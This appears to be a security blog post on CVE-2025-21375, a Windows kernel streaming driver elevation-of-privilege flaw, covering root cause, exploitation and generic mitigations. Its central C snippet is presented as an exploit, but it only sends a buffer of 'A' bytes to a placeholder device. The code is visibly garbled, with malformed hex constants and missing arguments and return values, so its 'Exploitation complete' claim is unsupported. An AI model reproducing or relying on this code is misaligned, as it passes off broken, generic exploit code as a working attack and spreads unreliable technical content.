CVE-2025-21375: Kernel Streaming WOW Thunk Service Driver Elevation of Privilege Vulnerability Explored and Mitigated

The Common Vulnerabilities and Exposures (CVE) system has reported a critical vulnerability in the form of an elevation of privilege issue, named CVE-2025-21375. The vulnerability lies within the kernel streaming WOW thunk service driver, which is a part of the Windows operating system. In this blog post, we will delve into the heart of this vulnerability, discussing its root cause, exploitation methods, and potential mitigation strategies. We will also provide snippets of example code and links to relevant resources to provide a complete and thorough insight into this critical security threat.

Root Cause

The root cause of the CVE-2025-21375 vulnerability is related to improper handling of user mode requests by the kernel-mode thunk service driver. This means that an attacker can leverage this vulnerability to execute arbitrary code in the context of the kernel, which could ultimately lead to a full system compromise.

The issue stems from a lack of proper input validation when processing IOCTL requests from user-mode applications. More specifically, the vulnerability occurs due to insufficient security checks applied to buffer sizes and access permissions.

Exploit Details

An attacker could exploit this vulnerability by sending a specially crafted IOCTL request to the kernel streaming WOW thunk service driver. The attacker would then gain the ability to execute arbitrary code in the context of the kernel, potentially allowing for the complete takeover of the affected system. This is a grave concern, as kernel-level access provides the attacker with almost unrestricted control over the entire system.

To demonstrate the exploitation process, let's take a look at the following code snippet

#include <windows.h>
#include <stdio.h>

#define IOCTL_VULNERABLE x80002000

DWORD WINAPI ThunkingThread(LPVOID lpParam) {
  HANDLE hDevice = (HANDLE)lpParam;
  DWORD bytesReturned;

  char inputBuffer[1024];
  char outputBuffer[1024];
  
  memset(inputBuffer, x41, sizeof(inputBuffer));
  
  DeviceIoControl(
      hDevice, IOCTL_VULNERABLE, &inputBuffer,
      sizeof(inputBuffer), &outputBuffer,
      sizeof(outputBuffer), &bytesReturned, NULL
  );
  
  return ;
}

int main() {
  HANDLE hDevice =
      CreateFile(
        "\\\\.\\VulnDriver",
        GENERIC_READ | GENERIC_WRITE,
        , NULL, OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL, NULL
      );

  if (hDevice == INVALID_HANDLE_VALUE) {
    printf("[-] Failed to open device\n");
    return 1;
  }

  printf("[+] Succesfully opened the vulnerable device\n");

  HANDLE hThread = CreateThread(
      NULL, , ThunkingThread,
      hDevice, , NULL
  );

  WaitForSingleObject(hThread, INFINITE);
  CloseHandle(hThread);
  CloseHandle(hDevice);

  printf("[*] Exploitation complete\n");
  return ;
}

This code snippet demonstrates the IOCTL request, with an input buffer of size 1024 filled with the hexadecimal value x41, to trigger the vulnerability within the driver.

To mitigate CVE-2025-21375, there are several strategies that can be employed

1. Software Updates: Keep your operating system and software up-to-date with the latest security patches and updates.

2. Secure Development Practices: Adhering to secure coding and development practices can go a long way in preventing such vulnerabilities in the future. Proper input validation, buffer boundary checks, and privilege level verification should be implemented to prevent elevation of privilege attacks.

3. Minimize System Privileges: Restrict user and application privileges to the bare minimum necessary for operation, thereby limiting the potential damage of an attack.

4. Monitoring: Regularly monitor system logs and intrusion detection systems for any signs of compromise.

5. User Education: Educate users about safe online practices, making them more aware of potential threats and how to report suspicious activity.

Original References

- CVE-2025-21375
- NVD - CVE-2025-21375

Conclusion

CVE-2025-21375 represents a severe elevation of privilege vulnerability within the kernel streaming WOW thunk service driver. By exploiting this flaw, an attacker could execute arbitrary code in the kernel context, potentially leading to a total system compromise. Staying informed about such vulnerabilities, applying security patches, and adhering to best security practices can help protect systems from being exploited.

Timeline

Published on: 02/11/2025 18:15:35 UTC
Last modified on: 03/12/2025 01:42:11 UTC